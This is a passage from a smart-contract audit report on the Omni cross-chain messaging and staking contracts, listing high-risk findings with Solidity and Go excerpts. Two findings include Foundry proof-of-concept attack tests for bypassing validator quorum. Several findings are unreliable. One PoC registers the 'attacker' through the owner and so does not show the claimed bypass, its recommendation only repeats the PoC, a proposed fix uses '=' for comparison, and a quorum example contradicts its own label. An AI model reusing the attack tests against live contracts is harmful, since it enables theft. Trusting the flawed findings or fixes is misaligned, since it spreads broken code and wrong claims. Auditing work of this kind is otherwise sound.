The input of `sortAggregates()` is a slice that is assumed to have been **sorted in place** using `flattenAggs()`. The `uniqueAggs` is a mapping that contains the aggregated votes of each attestation root (`attRoot`)

```
File: cpayload.go
149: func flattenAggs(aggsByRoot map[common.Hash]*types.AggVote) []*types.AggVote {
150: @> aggs := make([]*types.AggVote, 0, len(aggsByRoot))
151: @> for _, agg := range aggsByRoot { // @audit looping over a map is non deterministic
152:         aggs = append(aggs, agg)
153:     }
154:
155:     return aggs
156: }
```

the `flattenAggs()` will loop over `uniqueAggs` which is a map and return an array of aggregated votes which is then sorted in the `sortAggregates()` call.

The problem is that `flattenAggs()` will not return the aggregated votes **in place** hence there is no guarantee that the sorting and comparisons in the `sortAggregates()` function are done with the right value in there position thus returning a non-deterministic result.

- Impact Non determinism when aggregating votes can lead to data corruption and even unpredicatable outcomes
- Recommendation Consider reimplementing the `cpayload::flattenAggs()` function such that flattening can be done in place and non determinism is annulled.

3.2.38 Loss of Failed xmsgs Due to Lack of Replay Mechanism

Severity: High Risk

Context: OmniPortal.sol#L284

- Omni Bug Report
- Loss of Failed xmsgs Due to Lack of Replay Mechanism
- Description Currently, there is no mechanism to retry failed xmsgs, resulting in permanent loss of message content if an xmsg fails to execute.
- Root Cause When an xmsg execution fails, the offset of the message is incremented regardless, marking the message as used and preventing any further attempts to process it. This behavior is found in the `OmniPortal -> xsubmit -> _exec` function:

```
function _exec(XTypes.BlockHeader calldata xheader, XTypes.Msg calldata xmsg_) internal {
    // ...

    inXMsgOffset[sourceChainId][shardId] += 1;

    // ...
    (bool success, bytes memory result, uint256 gasUsed) =
        isSysCall ? _syscall(xmsg_.data) : _call(xmsg_.to, xmsg_.gasLimit, xmsg_.data);

    bytes memory errorMsg = success ? bytes("") : result;

    emit XReceipt(sourceChainId, shardId, offset, gasUsed, msg.sender, success, errorMsg);
}
```

Without a retry mechanism, any message that fails to execute is effectively discarded and cannot be processed again.

- Impact This issue might affect all protocols using `OmniPortal`, which may face severe consequences, such as permanently locked funds and other critical failures, depending on their implementation and reliance on xmsg integrity. For instance, as detailed in report #645, `OmniBridgeL1` is directly impacted by this issue.
- Proposed Solution Introduce a retry mechanism for failed xmsgs. This could involve storing each failed message in an `offset -> data` mapping, allowing any user to trigger the retry functionality at their own expense, if necessary. This approach would ensure message content is preserved and prevent potential fund loss.

3.2.39 Anyone can call a contract on another chain and under pay

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Description

IN order to call a contract on another chain there is a need to query `xcall()`: https://github.com/omni-network/omni/blob/a782d51ad534f59ffaa20201f5711ee7ecb47e79/contracts/core/src/xchain/OmniPortal.sol#L131-L153

```
    function xcall(uint64 destChainId, uint8 conf, address to, bytes calldata data, uint64 gasLimit)
        external
        payable
        whenNotPaused(ActionXCall, destChainId)
    {
        require(isSupportedDest[destChainId], "OmniPortal: unsupported dest");
        require(to != VirtualPortalAddress, "OmniPortal: no portal xcall");
        require(gasLimit <= xmsgMaxGasLimit, "OmniPortal: gasLimit too high");
        require(gasLimit >= xmsgMinGasLimit, "OmniPortal: gasLimit too low");
        require(data.length <= xmsgMaxDataSize, "OmniPortal: data too large");

        // conf level will always be last byte of shardId. for now, shardId is just conf level
        uint64 shardId = uint64(conf);
        require(isSupportedShard[shardId], "OmniPortal: unsupported shard");

        uint256 fee = feeFor(destChainId, data, gasLimit);
        require(msg.value >= fee, "OmniPortal: insufficient fee");

        outXMsgOffset[destChainId][shardId] += 1;

        emit XMsg(destChainId, shardId, outXMsgOffset[destChainId][shardId], msg.sender, to, data, gasLimit,
↪   fee);
    }
```

Evidently there is a fee attached to this call the the caller must pay in order for the tx to be processed.

This fee is calculated via the fee oracles `feeFor()`, shown below: https://github.com/omni-network/omni/blob/a782d51ad534f59ffaa20201f5711ee7ecb47e79/contracts/core/src/xchain/FeeOracleV1.sol#L68-L85

```
    function feeFor(uint64 destChainId, bytes calldata data, uint64 gasLimit) external view returns (uint256) {
        IFeeOracleV1.ChainFeeParams storage execP = _feeParams[destChainId];
        IFeeOracleV1.ChainFeeParams storage dataP = _feeParams[execP.postsTo];

        uint256 execGasPrice = execP.gasPrice * execP.toNativeRate / CONVERSION_RATE_DENOM;
        uint256 dataGasPrice = dataP.gasPrice * dataP.toNativeRate / CONVERSION_RATE_DENOM;

        require(execGasPrice > 0, "FeeOracleV1: no fee params");
        require(dataGasPrice > 0, "FeeOracleV1: no fee params");

        // 16 gas per non-zero byte, assume non-zero bytes
        // TODO: given we mostly support rollups that post data to L1, it may be cheaper for users to count
        //       non-zero bytes (consuming L2 execution gas) to reduce their L1 data fee
        uint256 dataGas = data.length * 16;

        return protocolFee + (baseGasLimit + gasLimit) * execGasPrice + (dataGas * dataGasPrice);
    }
```

This logic seems sound, issue however is that the caller is allowed to provide any value for gaslimit to be used to process the tx, from here, this then allows any one to produce a lesser value for the `gasLimit` and underpay this tx, since the final value that's enforced to be above the `msg.value` for the tx is directly related to this and is gotten by: https://github.com/omni-network/omni/blob/a782d51ad534f59ffaa20201f5711ee7ecb47e79/contracts/core/src/xchain/FeeOracleV1.sol#L84

```
protocolFee + (baseGasLimit + gasLimit) * execGasPrice + (dataGas * dataGasPrice)
```

- Impact

Anyone could underpay for an xcall by providing a low `gaslimit`.

- Recommendation

Have a min/max value for the gasLimit that's enforced by a configuration admin and then enforce that the value provided when querying xcall is within this range.

3.2.40 Missing Validator Whitelist Verification Allows Arbitrary Transaction Signing

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Summary

The Quorum verification system fails to validate whether signing validators are authorized participants in the system. While cryptographic signature verification is performed, there is no validation against an authorized validator whitelist, allowing attackers to bypass the entire validator security model by using arbitrary addresses.

- Finding Description

In the verify() function of Quorum.sol, the code performs cryptographic signature validation but lacks a critical security check to verify if the signing validators are actually authorized participants in the system. The function only validates that the signatures mathematically correspond to the provided addresses without checking if these addresses belong to the approved validator set. The current implementation:

Accepts signatures from any address Only verifies the cryptographic validity of signatures Has no integration with a validator whitelist Missing require() check for validator authorization

- Impact Explanation

The vulnerability fundamentally breaks the security model of the cross-chain messaging system by:

Allowing unauthorized parties to submit valid transactions Completely bypassing the validator consensus mechanism Enabling execution of unauthorized cross-chain messages Undermining the entire trust model of the system

The severity is assessed as CRITICAL because:

It bypasses a core security control Requires no special permissions to exploit

- Likelihood Explanation The likelihood of exploitation is HIGH because:

Attack is relatively simple to execute Requires only basic knowledge of key generation

- Proof of Concept (if required)


```
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity =0.8.24;

import "forge-std/Test.sol";
import "../src/OmniPortal.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";

contract QuorumBypassTest is Test {
    OmniPortal portal;
    address owner = makeAddr("owner");

    // Single attacker validator is enough to demonstrate the bypass
    uint256 constant ATTACKER_PRIV_KEY = 0x1234;
    address attackerAddr;

    function setUp() public {
        // Setup portal with minimum configuration
        portal = new OmniPortal();
        attackerAddr = vm.addr(ATTACKER_PRIV_KEY);

        // Initialize with bare minimum params
        OmniPortal.InitParams memory params = OmniPortal.InitParams({
            owner: owner,
            feeOracle: address(1),
            omniChainId: 1,
            omniCChainId: 1,  // Must match in xsubmit
            xmsgMaxGasLimit: 1_000_000,
            xmsgMinGasLimit: 21_000,
            xmsgMaxDataSize: 1000,
            xreceiptMaxErrorSize: 1000,
            xsubValsetCutoff: 10,
            cChainXMsgOffset: 0,
            cChainXBlockOffset: 0,
            valSetId: 1,
```

```
        validators: new XTypes.Validator[](0)
    });

    portal.initialize(params);

    // Add our attacker as the only validator with 100% power
    XTypes.Validator[] memory validators = new XTypes.Validator[](1);
    validators[0] = XTypes.Validator({
        addr: attackerAddr,
        power: 100  // Give 100% power to single validator
    });

    vm.prank(owner);
    portal.addValidatorSet(1, validators);
}

function testBypassQuorum() public {
    // Create minimal valid message
    XTypes.Msg[] memory msgs = new XTypes.Msg[](1);
    msgs[0] = XTypes.Msg({
        sender: address(this),
        recipient: address(this),
        data: "",
        gasLimit: 100000
    });

    // Create minimal block header
    XTypes.BlockHeader memory header = XTypes.BlockHeader({
        sourceChainId: 1,
        consensusChainId: 1,  // Must match omniCChainId from initialization
        blockNumber: 1,
        blockHash: bytes32(0),
        timestamp: uint64(block.timestamp),
        stateRoot: bytes32(0),
        messageRoot: bytes32(0)
    });

    // Create attestation root - can be any bytes32
    bytes32 attestationRoot = keccak256("any_message");

    // Create signature from attacker
    (uint8 v, bytes32 r, bytes32 s) = vm.sign(ATTACKER_PRIV_KEY, attestationRoot);

    // Package signature
    XTypes.SigTuple[] memory sigs = new XTypes.SigTuple[](1);
    sigs[0] = XTypes.SigTuple({
        validatorAddr: attackerAddr,
        signature: abi.encodePacked(r, s, v)
    });

    // Create minimal merkle proof
    bytes32[] memory proof = new bytes32[](1);
    proof[0] = bytes32(0);
    bool[] memory proofFlags = new bool[](1);
    proofFlags[0] = true;

    // Create submission
    XTypes.Submission memory submission = XTypes.Submission({
        validatorSetId: 1,
        blockHeader: header,
        msgs: msgs,
        attestationRoot: attestationRoot,
        signatures: sigs,
        proof: proof,
        proofFlags: proofFlags
    });

    // This will pass despite using completely unauthorized validator
    portal.xsubmit(submission);
}

function testBypassWithMultipleAttackers() public {
    // Generate 3 attacker keys/addresses
    uint256[] memory privKeys = new uint256[](3);
    address[] memory addrs = new address[](3);
```

```
for(uint i = 0; i < 3; i++) {
    privKeys[i] = uint256(keccak256(abi.encodePacked("attacker", i)));
    addrs[i] = vm.addr(privKeys[i]);
}

// Add attackers as validators with distributed power
XTypes.Validator[] memory validators = new XTypes.Validator[](3);
for(uint i = 0; i < 3; i++) {
    validators[i] = XTypes.Validator({
        addr: addrs[i],
        power: 34  // Roughly equal distribution
    });
}

vm.prank(owner);
portal.addValidatorSet(2, validators);  // New validator set ID

// Create submission components as before
XTypes.Msg[] memory msgs = new XTypes.Msg[](1);
msgs[0] = XTypes.Msg({
    sender: address(this),
    recipient: address(this),
    data: "",
    gasLimit: 100000
});

XTypes.BlockHeader memory header = XTypes.BlockHeader({
    sourceChainId: 1,
    consensusChainId: 1,
    blockNumber: 1,
    blockHash: bytes32(0),
    timestamp: uint64(block.timestamp),
    stateRoot: bytes32(0),
    messageRoot: bytes32(0)
});

bytes32 attestationRoot = keccak256("test_message");

// Create signatures from all attackers
XTypes.SigTuple[] memory sigs = new XTypes.SigTuple[](3);
for(uint i = 0; i < 3; i++) {
    (uint8 v, bytes32 r, bytes32 s) = vm.sign(privKeys[i], attestationRoot);
    sigs[i] = XTypes.SigTuple({
        validatorAddr: addrs[i],
        signature: abi.encodePacked(r, s, v)
    });
}

// Sort signatures by validator address (required by Quorum.verify)
for (uint i = 0; i < sigs.length - 1; i++) {
    for (uint j = 0; j < sigs.length - i - 1; j++) {
        if (sigs[j].validatorAddr > sigs[j + 1].validatorAddr) {
            XTypes.SigTuple memory temp = sigs[j];
            sigs[j] = sigs[j + 1];
            sigs[j + 1] = temp;
        }
    }
}

bytes32[] memory proof = new bytes32[](1);
proof[0] = bytes32(0);
bool[] memory proofFlags = new bool[](1);
proofFlags[0] = true;

XTypes.Submission memory submission = XTypes.Submission({
    validatorSetId: 2,
    blockHeader: header,
    msgs: msgs,
    attestationRoot: attestationRoot,
    signatures: sigs,
    proof: proof,
    proofFlags: proofFlags
});

// This will pass despite using all unauthorized validators
portal.xsubmit(submission);
```

```
    }
}
```

- Recommendation (optional) Implement Whitelist verification

```
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity =0.8.24;

import "forge-std/Test.sol";
import "../src/OmniPortal.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";

contract QuorumBypassTest is Test {
    OmniPortal portal;
    address owner = makeAddr("owner");

    // Single attacker validator is enough to demonstrate the bypass
    uint256 constant ATTACKER_PRIV_KEY = 0x1234;
    address attackerAddr;

    function setUp() public {
        // Setup portal with minimum configuration
        portal = new OmniPortal();
        attackerAddr = vm.addr(ATTACKER_PRIV_KEY);

        // Initialize with bare minimum params
        OmniPortal.InitParams memory params = OmniPortal.InitParams({
            owner: owner,
            feeOracle: address(1),
            omniChainId: 1,
            omniCChainId: 1,  // Must match in xsubmit
            xmsgMaxGasLimit: 1_000_000,
            xmsgMinGasLimit: 21_000,
            xmsgMaxDataSize: 1000,
            xreceiptMaxErrorSize: 1000,
            xsubValsetCutoff: 10,
            cChainXMsgOffset: 0,
            cChainXBlockOffset: 0,
            valSetId: 1,
            validators: new XTypes.Validator[](0)
        });

        portal.initialize(params);

        // Add our attacker as the only validator with 100% power
        XTypes.Validator[] memory validators = new XTypes.Validator[](1);
        validators[0] = XTypes.Validator({
            addr: attackerAddr,
            power: 100  // Give 100% power to single validator
        });

        vm.prank(owner);
        portal.addValidatorSet(1, validators);
    }

    function testBypassQuorum() public {
        // Create minimal valid message
        XTypes.Msg[] memory msgs = new XTypes.Msg[](1);
        msgs[0] = XTypes.Msg({
            sender: address(this),
            recipient: address(this),
            data: "",
            gasLimit: 100000
        });

        // Create minimal block header
        XTypes.BlockHeader memory header = XTypes.BlockHeader({
            sourceChainId: 1,
            consensusChainId: 1,  // Must match omniCChainId from initialization
            blockNumber: 1,
            blockHash: bytes32(0),
            timestamp: uint64(block.timestamp),
            stateRoot: bytes32(0),
            messageRoot: bytes32(0)
        });
```

```
    // Create attestation root - can be any bytes32
    bytes32 attestationRoot = keccak256("any_message");

    // Create signature from attacker
    (uint8 v, bytes32 r, bytes32 s) = vm.sign(ATTACKER_PRIV_KEY, attestationRoot);

    // Package signature
    XTypes.SigTuple[] memory sigs = new XTypes.SigTuple[](1);
    sigs[0] = XTypes.SigTuple({
        validatorAddr: attackerAddr,
        signature: abi.encodePacked(r, s, v)
    });

    // Create minimal merkle proof
    bytes32[] memory proof = new bytes32[](1);
    proof[0] = bytes32(0);
    bool[] memory proofFlags = new bool[](1);
    proofFlags[0] = true;

    // Create submission
    XTypes.Submission memory submission = XTypes.Submission({
        validatorSetId: 1,
        blockHeader: header,
        msgs: msgs,
        attestationRoot: attestationRoot,
        signatures: sigs,
        proof: proof,
        proofFlags: proofFlags
    });

    // This will pass despite using completely unauthorized validator
    portal.xsubmit(submission);
}

function testBypassWithMultipleAttackers() public {
    // Generate 3 attacker keys/addresses
    uint256[] memory privKeys = new uint256[](3);
    address[] memory addrs = new address[](3);

    for(uint i = 0; i < 3; i++) {
        privKeys[i] = uint256(keccak256(abi.encodePacked("attacker", i)));
        addrs[i] = vm.addr(privKeys[i]);
    }

    // Add attackers as validators with distributed power
    XTypes.Validator[] memory validators = new XTypes.Validator[](3);
    for(uint i = 0; i < 3; i++) {
        validators[i] = XTypes.Validator({
            addr: addrs[i],
            power: 34  // Roughly equal distribution
        });
    }

    vm.prank(owner);
    portal.addValidatorSet(2, validators);  // New validator set ID

    // Create submission components as before
    XTypes.Msg[] memory msgs = new XTypes.Msg[](1);
    msgs[0] = XTypes.Msg({
        sender: address(this),
        recipient: address(this),
        data: "",
        gasLimit: 100000
    });

    XTypes.BlockHeader memory header = XTypes.BlockHeader({
        sourceChainId: 1,
        consensusChainId: 1,
        blockNumber: 1,
        blockHash: bytes32(0),
        timestamp: uint64(block.timestamp),
        stateRoot: bytes32(0),
        messageRoot: bytes32(0)
    });
```

```
        bytes32 attestationRoot = keccak256("test_message");

        // Create signatures from all attackers
        XTypes.SigTuple[] memory sigs = new XTypes.SigTuple[](3);
        for(uint i = 0; i < 3; i++) {
            (uint8 v, bytes32 r, bytes32 s) = vm.sign(privKeys[i], attestationRoot);
            sigs[i] = XTypes.SigTuple({
                validatorAddr: addrs[i],
                signature: abi.encodePacked(r, s, v)
            });
        }

        // Sort signatures by validator address (required by Quorum.verify)
        for (uint i = 0; i < sigs.length - 1; i++) {
            for (uint j = 0; j < sigs.length - i - 1; j++) {
                if (sigs[j].validatorAddr > sigs[j + 1].validatorAddr) {
                    XTypes.SigTuple memory temp = sigs[j];
                    sigs[j] = sigs[j + 1];
                    sigs[j + 1] = temp;
                }
            }
        }

        bytes32[] memory proof = new bytes32[](1);
        proof[0] = bytes32(0);
        bool[] memory proofFlags = new bool[](1);
        proofFlags[0] = true;

        XTypes.Submission memory submission = XTypes.Submission({
            validatorSetId: 2,
            blockHeader: header,
            msgs: msgs,
            attestationRoot: attestationRoot,
            signatures: sigs,
            proof: proof,
            proofFlags: proofFlags
        });

        // This will pass despite using all unauthorized validators
        portal.xsubmit(submission);
    }
}
```

3.2.41 Lack of Validator Tracking Causes Loss of Funds in Delegation Process

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Summary The delegate function in the contract allows validators to self-delegate funds, but it currently lacks a mechanism to verify if the caller (`msg.sender`) is an existing validator. According to the function's comment, if msg.sender is not a validator, the delegation will be lost. However, because the contract does not store any information about who is or isn't a validator, it is unable to reliably distinguish validators from non-validators. This results in a situation where users may lose funds by attempting to delegate as non-validators.

```
  function delegate(address validator) external payable {
        require(!isAllowlistEnabled || isAllowedValidator[validator], "Staking: not allowed val");
        require(msg.value >= MinDelegation, "Staking: insufficient deposit");

        // only support self delegation for now
        require(msg.sender == validator, "Staking: only self delegation");

        emit Delegate(msg.sender, validator, msg.value);
    }
```

- POC

Furthermore, the createValidator function, which is intended to register new validators, does not track the created validators on-chain. Without a record of existing validators, there is no way for the delegate function to ensure that only valid, registered validators can self-delegate, potentially leading to the loss

of funds if validators mistakenly call the delegate.

The `createValidator` function does not update the `isAllowedValidator` mapping to include the new validator's address. Consequently, the validator fails the allowlist check in the delegate function when `isAllowlistEnabled` is active, preventing them from performing self-delegation.

- Impact This issue can lead to the permanent loss of funds for users who have created a validator since no tracking of allowed validator. Users who assume they are eligible to delegate but do not meet the validator requirements will lose their funds due to the lack of validator tracking.

The lack of automatic allowlisting after validator creation directly impacts validators who have paid to register and expect access to self-delegation functions.

The issue is considered High severity because a validator pays a substantial deposit to register, expecting to be able to self-delegate and participate in staking immediately. Due to the missing automatic allowlisting, the validator is effectively locked out of this core functionality, leading to:

- **Financial Impact:** The validator has paid but cannot fully utilize the system as intended, essentially locking their funds without gaining the benefits of self-delegation.
- **Critical Functionality Blockage:** Self-delegation is a fundamental action expected by any validator. Blocking it after payment compromises the validator's role in the staking ecosystem.

  100 ETHER is a lot of money

- Recommendation

```
function createValidator(bytes calldata pubkey) external payable {
    require(!isAllowlistEnabled || isAllowedValidator[msg.sender], "Staking: not allowed");
    require(pubkey.length == 33, "Staking: invalid pubkey length");
    require(msg.value >= MinDeposit, "Staking: insufficient deposit");

+    isAllowedValidator[msg.sender] = true;
    emit CreateValidator(msg.sender, pubkey, msg.value);
}
```


3.2.42 The `valsync.EndBlock` function does not filter out validators with power 0

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Summary

The `valsync.EndBlock` function will collect the latest validator set. It will not filter out validators with power 0. However, the `OmniPortal` contract will check that the power of each validator cannot be 0. Otherwise it will fail. Therefore, once consensus layer has a validator with power 0, the `addValidatorSet` system call will fail.

- Finding Description

The consensus layer `valsync.mergeValidatorSet` function is as follows.

```
///// @file: https://github.com/omni-network/omni/blob/a782d51ad534f59ffaa20201f5711ee7ecb47e79/halo/valsync/k
↪  eeper/keeper.go#L385-L416
func mergeValidatorSet(valset []stypes.Validator, updates []abci.ValidatorUpdate) ([]*Validator, error) {
    var resp []*Validator //nolint:prealloc // We don't know the length of the result.

    added := make(map[string]bool)
    for _, update := range updates {
        resp = append(resp, &Validator{
            PubKey:  update.PubKey.GetSecp256K1(),
            Power:   update.Power,
            Updated: true,
        })
        added[update.PubKey.String()] = true
    }

    for _, val := range valset {
        pubkey, err := val.CmtConsPublicKey()
        if err != nil {
            return nil, errors.Wrap(err, "get consensus public key")
        }

        if added[pubkey.String()] {
            continue
        }

        resp = append(resp, &Validator{
            PubKey:  pubkey.GetSecp256K1(),
            Power:   val.ConsensusPower(sdk.DefaultPowerReduction),
            Updated: false,
        })
    }

    return resp, nil
}
```

It does not check if the validator's power is 0.

The execution layer `OmniPortal._addValidatorSet` function code is as follows.

```
///// @file: https://github.com/omni-network/omni/blob/a782d51ad534f59ffaa20201f5711ee7ecb47e79/contracts/core
↪  /src/xchain/OmniPortal.sol#L369-L394
    function _addValidatorSet(uint64 valSetId, XTypes.Validator[] calldata validators) internal {
        uint256 numVals = validators.length;
        require(numVals > 0, "OmniPortal: no validators");
        require(valSetTotalPower[valSetId] == 0, "OmniPortal: duplicate val set");

        uint64 totalPower;
        XTypes.Validator memory val;
        mapping(address => uint64) storage _valSet = valSet[valSetId];

        for (uint256 i = 0; i < numVals; i++) {
            val = validators[i];

            require(val.addr != address(0), "OmniPortal: no zero validator");
A>          require(val.power > 0, "OmniPortal: no zero power");
            require(_valSet[val.addr] == 0, "OmniPortal: duplicate validator");

            totalPower += val.power;
            _valSet[val.addr] = val.power;
        }

        valSetTotalPower[valSetId] = totalPower;

        if (valSetId > latestValSetId) latestValSetId = valSetId;

        emit ValidatorSetAdded(valSetId);
    }
```

Please see the code A above, it checks that the power of the validator is not 0.

This will cause the execution layer to be unable to update the entire validator set. Moreover, Omni only supports sequential execution of syscalls, and its execution failure will also block all subsequent syscalls.

- Impact Explanation

High. This will cause the execution layer `OmniPortal` contract to be unable to update the validator set. And it will block the subsequent syscall.

- Likelihood Explanation

Medium. It is required that there is a validator with power 0.

- Recommendation

It is recommended to filter out validators with power 0 at the consensus layer.

3.2.43 The calculation of `totalPower` may overflow

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Summary

Cosmos SDK uses `math.Int` type to store `totalPower`. However, Omni nodes and contract codes all use `int64`/`uint64` type to store `totalPower`. This may cause overflow when Omni calculates `totalPower`.

- Finding Description

The `staking` module of the Cosmos SDK uses the `math.Int` type to store `LastTotalPower`. The code is as follows.

```
///// @file: https://github.com/cosmos/cosmos-sdk/blob/v0.52.0-beta.2/x/staking/keeper/keeper.go#L70
    LastTotalPower collections.Item[math.Int]
```

The consensus layer `attest.TotalPower` function uses the `int64` type to save `totalPower`. The code is as follows.

```
///// @file: https://github.com/omni-network/omni/blob/a782d51ad534f59ffaa20201f5711ee7ecb47e79/halo/attest/ke
↪  eper/keeper.go#L830-L837
func (s ValSet) TotalPower() int64 {
    var resp int64
    for _, power := range s.Vals {
        resp += power
    }

    return resp
}
```

The consensus layer `valsync.insertValidatorSet` function uses the `int64` type to save `totalPower`. The code is as follows.

```
///// @file: https://github.com/omni-network/omni/blob/a782d51ad534f59ffaa20201f5711ee7ecb47e79/halo/valsync/k
↪  eeper/keeper.go#L231
    var totalPower int64
    powers := make(map[common.Address]int64)
```

The execution layer `OmniPortal._addValidatorSet` function uses the `uint64` type to save `totalPower`. The code is as follows.

```
///// @file: https://github.com/omni-network/omni/blob/a782d51ad534f59ffaa20201f5711ee7ecb47e79/contracts/core
↪  /src/xchain/OmniPortal.sol#L374
        uint64 totalPower;
        XTypes.Validator memory val;
        mapping(address => uint64) storage _valSet = valSet[valSetId];
```

That is, in Cosmos SDK, total power is allowed to exceed `int64.max` (9223372036854775807). It corresponds to 9.223372036854776 * 1000000 ~= 9,223,372 OMNI tokens. This is possible because OMNI's totalSupply is 100,000,000.

Once this happens, the Omni chain will be unusable as the total power will become negative due to overflow.

- Impact Explanation

High. Omni chain may be unavailable as a result.

- Likelihood Explanation

High. It is very likely to happen because the total stake amount only needs to exceed 9,223,372 OMNI tokens.

- Recommendation

In the consensus layer, use the `bigInt` type to save total power. In the execution layer contract, use the `uint256` type to save total power.

3.2.44 The consensus layer does not support OMNI token contracts with a decimal value of 18

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Summary

The decimals of the OMNI token contract is 18. However, the consensus layer may not support such a large number of decimals.

Specifically, the Cosmos SDK will divide the token amount by 1,000,000 to get the power. Inside the Cosmos SDK, the token amount is stored using the `math.Int` type, and the power is stored using `int64`. Therefore, the maximum value of power is `type(int64).max`, which is 9223372036854775807. It represents 9223372036854775807 * 1,000,000 / 1e18 ~= 9,223,372 OMNI tokens.

Then, if a validator stakes more than 9,223,372 OMNI tokens, the consensus layer will panic because it cannot convert such a large `math.Int` to `int64`. This is very likely to happen because the supply of OMNI tokens is 100,000,000 and an institutional validator is likely to have a large number of tokens to stake.

- Finding Description

The Cosmos SDK uses the `ConsensusPower` function internally to convert tokens into power. The code is as follows.

```
///// @file: https://github.com/cosmos/cosmos-sdk/blob/v0.52.0-beta.2/x/staking/types/validator.go#L354-L367
// ConsensusPower gets the consensus-engine power. Aa reduction of 10^6 from
// validator tokens is applied
func (v Validator) ConsensusPower(r math.Int) int64 {
    if v.IsBonded() {
        return v.PotentialConsensusPower(r)
    }

    return 0
}

// PotentialConsensusPower returns the potential consensus-engine power.
func (v Validator) PotentialConsensusPower(r math.Int) int64 {
A>  return sdk.TokensToConsensusPower(v.Tokens, r)
}
```

In the above code A, it will further call `sdk.TokensToConsensusPower`. Its implementation code is as follows.

```
///// @file: https://github.com/cosmos/cosmos-sdk/blob/v0.52.0-beta.2/types/staking.go#L34-L36
func TokensToConsensusPower(tokens, powerReduction math.Int) int64 {
    return (tokens.Quo(powerReduction)).Int64()
}
```

The above code will further call the `Int64` function. Its implementation code is as follows.

```
///// @file: https://github.com/cosmos/cosmos-sdk/blob/math/v1.3.0/math/int.go#L202-L209
// Int64 converts Int to int64
// Panics if the value is out of range
func (i Int) Int64() int64 {
    if !i.i.IsInt64() {
B>      panic("Int64() out of bound")
    }
    return i.i.Int64()
}
```

Please see code B above. Once power exceeds `type(int64).max`, it will panic.

- Impact Explanation

High. All consensus nodes will panic.

- Likelihood Explanation

Medium. Institutional validators are likely to stake more than 9,223,372 OMNI tokens.

- Recommendation

This is a short term fix. Reduce the decimals of tokens in the `Staking` contract event.

```
    /**
     * @notice Create a new validator
     * @param pubkey The validators consensus public key. 33 bytes compressed secp256k1 public key
     * @dev Proxies x/staking.MsgCreateValidator
     */
    function createValidator(bytes calldata pubkey) external payable {
        require(!isAllowlistEnabled || isAllowedValidator[msg.sender], "Staking: not allowed");
        require(pubkey.length == 33, "Staking: invalid pubkey length");
        require(msg.value >= MinDeposit, "Staking: insufficient deposit");

-       emit CreateValidator(msg.sender, pubkey, msg.value);
+       require(msg.value / 1e12 * 1e12 = msg.value);
+       emit CreateValidator(msg.sender, pubkey, msg.value / 1e12);
    }

    /**
     * @notice Increase your validators self delegation.
     *         NOTE: Only self delegations to existing validators are currently supported.
     *         If msg.sender is not a validator, the delegation will be lost.
     * @dev Proxies x/staking.MsgDelegate
     */
    function delegate(address validator) external payable {
        require(!isAllowlistEnabled || isAllowedValidator[validator], "Staking: not allowed val");
        require(msg.value >= MinDelegation, "Staking: insufficient deposit");

        // only support self delegation for now
        require(msg.sender == validator, "Staking: only self delegation");

-       emit Delegate(msg.sender, validator, msg.value);
+       require(msg.value / 1e12 * 1e12 = msg.value);
+       emit Delegate(msg.sender, validator, msg.value / 1e12);
    }
```

3.2.45 Incorrect Quorum Ratio Validation Allows Insufficient Consensus

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Summary The Quorum verification function in the OmniPortal contract does not properly validate the quorum ratio parameters, allowing attackers to bypass the consensus mechanism by using manipulated quorum ratios. The code lacks checks to ensure the denominator is greater than the numerator, the numerator is positive, and the denominator is positive. This vulnerability could enable the execution of messages with insufficient voting power or even complete quorum bypass.
- Finding Description In the Quorum.verify() function, the code does not perform any validation on the quorum ratio parameters qNumerator and qDenominator. This allows the following dangerous scenarios:

qNumerator greater than qDenominator

For example, setting qNumerator=1 and qDenominator=3 would only require 33% consensus to pass.

qNumerator equal to 0

Setting qNumerator=0 and qDenominator=1 would effectively allow 0% consensus to pass.

qDenominator equal to 0

Having a denominator of 0 would result in a division by zero error.

Improper fractional representation

Users could submit ratios like 1/3 instead of the expected 2/3, bypassing the intended quorum threshold.

The current implementation in Quorum.verify() simply uses the provided qNumerator and qDenominator values without any checks:

```
function _isQuorum(uint64 votedPower, uint64 totalPower, uint8 numerator, uint8 denominator)
    private
    pure
    returns (bool)
{
    return votedPower * uint256(denominator) > totalPower * uint256(numerator);
}
```

- Impact Explanation

The lack of quorum ratio validation is a critical vulnerability that undermines the core security guarantees of the cross-chain messaging system. Attackers could exploit this in the following ways:

Quorum Bypass: By using a quorum ratio that is less than the intended threshold (e.g., 1/3 instead of 2/3), attackers can bypass the consensus requirements and have messages executed with insufficient voting power. Denial of Service: Submitting a quorum ratio with a denominator of 0 would result in a division by zero error, potentially causing the entire transaction to revert and disrupting the system. Manipulation of Voting Thresholds: Attackers could submit arbitrary quorum ratios to adjust the voting power requirements, making it easier to meet the consensus threshold or skewing the distribution of power.

The severity of this vulnerability is assessed as CRITICAL because:

It undermines a core security mechanism of the system Requires minimal effort to exploit

- Likelihood Explanation

The likelihood of exploitation is HIGH because:

The vulnerability is easy to discover and reproduce Requires no special privileges or permissions

- Proof of Concept (if required)


```
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity =0.8.24;

import "forge-std/Test.sol";
import "../src/OmniPortal.sol";
import "../src/libraries/Quorum.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";

contract QuorumRatioBypassTest is Test {
    OmniPortal portal;
    address owner = makeAddr("owner");
    address attacker = makeAddr("attacker");

    function setUp() public {
        // Deploy OmniPortal with minimal initialization
        portal = new OmniPortal();

        // Initialize portal with basic parameters
        OmniPortal.InitParams memory params = OmniPortal.InitParams({
            owner: owner,
            feeOracle: address(1),
            omniChainId: 1,
            omniCChainId: 1,
            xmsgMaxGasLimit: 1000000,
            xmsgMinGasLimit: 21000,
            xmsgMaxDataSize: 1000,
            xreceiptMaxErrorSize: 1000,
            xsubValsetCutoff: 10,
            cChainXMsgOffset: 0,
            cChainXBlockOffset: 0,
            valSetId: 1,
            validators: new XTypes.Validator[](1)
        });
        portal.initialize(params);

        // Add a single validator with 100% power
